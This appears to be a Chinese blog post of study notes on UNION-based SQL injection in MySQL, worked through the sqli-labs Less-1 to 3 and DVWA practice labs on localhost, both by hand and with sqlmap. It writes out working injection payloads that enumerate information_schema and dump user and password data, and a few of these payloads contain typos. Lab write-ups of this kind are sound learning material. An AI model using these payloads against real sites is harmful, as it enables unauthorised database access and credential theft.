• 联合查询注入


    原理

    union select联合查询。即合并(取交集,结果中没有重复行)前后两个查询;
    这里要注意以下两点

    • 前后查询视图,必须拥有相同数量的列
    • 列也必须拥有相同的数据类型(数据内省份三大类:数值、日期和时间、字符串)

    union联合查询注入基本流程

    1.判断是否存在注入

    • ①单引号法

    • ②逻辑法
      and 1=1/and 1=2
      1' and '1'='1/1' and '1'='2

    • ③运算法(暂时不明白)
      -1
      -0

    • 2.猜解表名

    • 3.猜解字段数
      order by xx

    • 4.猜解字段名

    • 5.获取数据
      union select 1,2... from xx


    Mysql手注之联合查询注入步骤

    1.判断是否存在注入,注入类型是数字型还是字符型

    2.猜解字段数

    3.联合查询

    • 获取当前数据库和数据库用户名
      1' UNION SELECT database(),user()#
    • 获取当前的数据库版本和操作系统
      1' UNION SELECT version(),@@version_compile_os#
    • 获取数据

    mysql小于4.0不支持联合查询
    mysql大于5.0,有一个默认数据库information_schema,库中有个表tables,其中table_name、table_schema为表名和表名所在的数据库

    • 获取数据表名
      1' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa'#

    • 获取表中列名
      1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name=users'#

    • 获取数据
      1' UNION select user,password FROM users #

    例子

    SQLI_labs_1

    手动注入

    1.判断是否有注入点
    ①、以‘来看查询是否出错。出错是我们想要的

    ②、拼接正确的逻辑,看语句是否返回正确的结果(凭借要注意格式,格式在本关指的是正确的闭合掉 ’ )。返回正确结果是我们想要的
    1' and '1' = '1
    1‘ and 1=1--+
    我喜欢第二种方式,省事

    ③、拼接错误的逻辑,看是否不返回结果。不返回结果是我们想要的

    2.确定当前数据表有多少列


    通过 order by 3页面正常显示,4报错,可以确定这张表有3列,为第5步联合查询来做准备

    3.确定页面可以返回数据的地方

    -1 是为了解放出存放数据的位置。

    4.获取数据库信息

    假如我只需要当前数据可的名字,可用 select database()来获得,从此程度上来说,你可以省略第4步

    5.获取数据表信息

    在获得的四张表:emails,referers,uagent,users选择users,通过名字可以判断出这张表里有名字和密码的概率大

    6.获取表中的列信息

    不是很清楚,这里爆出的字段,会有这么多,因为


    通过此次尝试,user字段是不存在的
    于是在数据库命令行里,进行尝试,这是数据库的问题。所以实际情况里我们爆列或报表的时候,会遇到一些干扰选项,没关系一个一个删选就好

    其实造成这个问题出现的原因是,查列的时候只规定了表的名字没规定数据库的来源,所以会出现,同表名不同库的列名出现。
    7.爆值

    获得 id ,username,password字段的值

    SQLmap

    1.判断是否存在注入点、注入类型
    sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1"
    ①、存在注入点:id
    ②、注入类型:布尔盲注、报错注入、延时注入、联合查询

    2.查看当前数据库
    sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current -db

    3.查看数据库security中的数据表

    4.查询数据表users中的字段

    5.查字段中的具体数据


    SQLI_labs_2

    手工注入

    判断是否有注入点

    1.以‘来看查询是否出错。出错是我们想要的

    2.构造正确的逻辑,看是否返回正确的结果。返回正确结果是我们想要的

    被打脸:

    再次尝试:

    3.构造错误逻辑,看是否不返回结果。不反悔结果是我们想要的

    确定当前数据表的字段数

    当前数据表的字段数为:3

    确定页面可以返回数据的地方

    如果我查的是当前数据库的表,我是不需要知道数据库名的。

    查看数据表

    ?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()

    查看数据表中的列(这次查emails)

    ?id=-1 union select 1.GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_nam='emails'

    获取字段中的数值

    ?id=-1 union select 1,GROUP_CONCAT(id,email_id),3 FROM emails--+

    SQLmap

    判断是否存在注入点


    通过查询结果可知,在id等于1处是存在注入点的

    查当前数据库名

    查看数据库security下的数据表

    查看数据表emails下的字段名

    查具体数据


    SQLI_labs_3

    手工注入

    判断是否有注入点

    1.以‘来查询是否出错。出错是我们想要的

    2.构造合理的逻辑,看是否返回正确值。正确返回是我们想要的
    根据报错信息,我构造‘)来闭合参数

    3.构造错误的逻辑,看是否什么也不显示。什么也不显示是我们想要的

    判断当前表的字段

    测试出页面可以显示的位置

    查询数据库

    • ?id=-1') union select 1,GROUP_CONCAT(schema_name),database() FROM information_schema.schemata--+
    • 我们查看了当前网站的所有数据库

    查看数据库中security中的数据表

    • ?id=-1') union select 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

    查看数据表referers中的字段名

    • ?id=-1') union select 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name="referers"--+

    获得每一列的值

    • ?id=-1') union select 1,GROUP_CONCAT(ip_address),3 FROM referers --+
    • 每次达到最后,想起没加显示自己构造的payload的代码
    • 遇见这种什么也没显示的情况我是慌的,通过命令行下的查询,明白,为什么一定要期待查出数据呢,我放张空表不可以吗?可以,可以

    SQLmap

    查询是否有注入点

    查数据库

    查数据表

    查字段

    爆值

    SQLI_labs_4

  • 相关阅读:
    java设计模式
    漏桶算法工具类
    http请求requestUtils
    去掉字符串中特殊符号造成的空格
    java 分布式id生成算法
    java枚举
    java 32个Java面试必考点
    配置tomcat下war包可以自压缩
    tomcat (选号)公司tomcat无页面解决
    docker 12 docker容器数据卷
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14400260.html
Copyright © 2020-2023  润新知